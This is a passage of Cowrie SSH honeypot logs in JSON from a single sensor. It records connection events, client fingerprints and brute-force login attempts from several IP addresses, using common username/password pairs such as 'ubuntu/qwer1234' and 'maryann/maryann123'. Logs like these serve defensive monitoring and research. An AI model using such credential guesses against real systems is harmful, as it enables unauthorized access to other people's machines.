16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:51:59.794946Z","src_ip":"2.57.122.208","session":"3098b3067985","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:52:00.293044Z","src_ip":"2.57.122.208","session":"3098b3067985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:52:01.399647Z","src_ip":"2.57.122.208","session":"3098b3067985","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":50742,"dst_ip":"159.203.135.109","dst_port":22,"session":"474b21faa067","protocol":"ssh","message":"New connection: 193.32.162.145:50742 (159.203.135.109:22) [session: 474b21faa067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:52:12.415770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:52:12.419816Z","src_ip":"193.32.162.145","session":"474b21faa067","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:52:12.520960Z","src_ip":"193.32.162.145","session":"474b21faa067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"doge","password":"doge","message":"login attempt [doge/doge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:52:12.826383Z","src_ip":"193.32.162.145","session":"474b21faa067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:52:13.928069Z","src_ip":"193.32.162.145","session":"474b21faa067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.63.205","src_port":44056,"dst_ip":"159.203.135.109","dst_port":22,"session":"66272045ebcf","protocol":"ssh","message":"New connection: 196.188.63.205:44056 (159.203.135.109:22) [session: 66272045ebcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:52:47.479409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:52:47.485084Z","src_ip":"196.188.63.205","session":"66272045ebcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:52:47.702799Z","src_ip":"196.188.63.205","session":"66272045ebcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"12345","message":"login attempt [elastic/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:52:48.592519Z","src_ip":"196.188.63.205","session":"66272045ebcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:52:49.805325Z","src_ip":"196.188.63.205","session":"66272045ebcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":51852,"dst_ip":"159.203.135.109","dst_port":22,"session":"86cc234ead62","protocol":"ssh","message":"New connection: 2.57.122.96:51852 (159.203.135.109:22) [session: 86cc234ead62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:53:03.740521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:53:03.744956Z","src_ip":"2.57.122.96","session":"86cc234ead62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:53:03.848292Z","src_ip":"2.57.122.96","session":"86cc234ead62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shred","password":"shred","message":"login attempt [shred/shred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:53:04.162438Z","src_ip":"2.57.122.96","session":"86cc234ead62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:53:05.284974Z","src_ip":"2.57.122.96","session":"86cc234ead62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.70.176.2","src_port":45083,"dst_ip":"159.203.135.109","dst_port":22,"session":"73cf9fc0188e","protocol":"ssh","message":"New connection: 118.70.176.2:45083 (159.203.135.109:22) [session: 73cf9fc0188e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:53:39.099776Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:53:39.334813Z","src_ip":"118.70.176.2","session":"73cf9fc0188e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":18816,"dst_ip":"10.17.0.5","dst_port":22,"session":"8daeb5f705c7","protocol":"ssh","message":"New connection: 213.209.159.159:18816 (10.17.0.5:22) [session: 8daeb5f705c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:08.423567Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60594,"dst_ip":"159.203.135.109","dst_port":22,"session":"34fbc4c29992","protocol":"ssh","message":"New connection: 2.57.122.208:60594 (159.203.135.109:22) [session: 34fbc4c29992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:09.162572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:09.166971Z","src_ip":"2.57.122.208","session":"34fbc4c29992","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:09.270124Z","src_ip":"2.57.122.208","session":"34fbc4c29992","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:09.582668Z","src_ip":"2.57.122.208","session":"34fbc4c29992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:10.695881Z","src_ip":"2.57.122.208","session":"34fbc4c29992","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:14.362422Z","src_ip":"213.209.159.159","session":"8daeb5f705c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:14.440585Z","src_ip":"213.209.159.159","session":"8daeb5f705c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maryann","password":"maryann","message":"login attempt [maryann/maryann] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:14.842418Z","src_ip":"213.209.159.159","session":"8daeb5f705c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.75","src_port":6110,"dst_ip":"159.203.135.109","dst_port":22,"session":"d05cfaccb272","protocol":"ssh","message":"New connection: 101.36.106.75:6110 (159.203.135.109:22) [session: d05cfaccb272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:14.878624Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.75","src_port":6326,"dst_ip":"159.203.135.109","dst_port":22,"session":"01d4136ce1ba","protocol":"ssh","message":"New connection: 101.36.106.75:6326 (159.203.135.109:22) [session: 01d4136ce1ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:15.310148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:15.314414Z","src_ip":"101.36.106.75","session":"01d4136ce1ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2aec6b44b06bec95d73f66b5d30cb69a","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2aec6b44b06bec95d73f66b5d30cb69a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:15.529518Z","src_ip":"101.36.106.75","session":"01d4136ce1ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:15.752707Z","src_ip":"101.36.106.75","session":"d05cfaccb272","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maryann","password":"maryann1","message":"login attempt [maryann/maryann1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:15.926410Z","src_ip":"213.209.159.159","session":"8daeb5f705c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maryann","password":"maryann123","message":"login attempt [maryann/maryann123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:17.010122Z","src_ip":"213.209.159.159","session":"8daeb5f705c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maryann","password":"maryann1234","message":"login attempt [maryann/maryann1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:18.094149Z","src_ip":"213.209.159.159","session":"8daeb5f705c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maryann","password":"maryann12345","message":"login attempt [maryann/maryann12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:19.177320Z","src_ip":"213.209.159.159","session":"8daeb5f705c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.8","message":"Connection lost after 11.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:20.260464Z","src_ip":"213.209.159.159","session":"8daeb5f705c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41770,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a4e5cfffad6","protocol":"ssh","message":"New connection: 193.32.162.145:41770 (159.203.135.109:22) [session: 8a4e5cfffad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:27.214753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:27.220878Z","src_ip":"193.32.162.145","session":"8a4e5cfffad6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:27.316280Z","src_ip":"193.32.162.145","session":"8a4e5cfffad6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"degen","password":"degen","message":"login attempt [degen/degen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:27.771993Z","src_ip":"193.32.162.145","session":"8a4e5cfffad6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:28.899141Z","src_ip":"193.32.162.145","session":"8a4e5cfffad6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:30.311764Z","src_ip":"101.36.106.75","session":"01d4136ce1ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":58136,"dst_ip":"159.203.135.109","dst_port":22,"session":"23df1d39b878","protocol":"ssh","message":"New connection: 162.120.6.20:58136 (159.203.135.109:22) [session: 23df1d39b878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:40.782963Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:40.851568Z","src_ip":"162.120.6.20","session":"23df1d39b878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":58150,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6925652c22c","protocol":"ssh","message":"New connection: 162.120.6.20:58150 (159.203.135.109:22) [session: e6925652c22c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:40.923784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:40.927873Z","src_ip":"162.120.6.20","session":"e6925652c22c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-n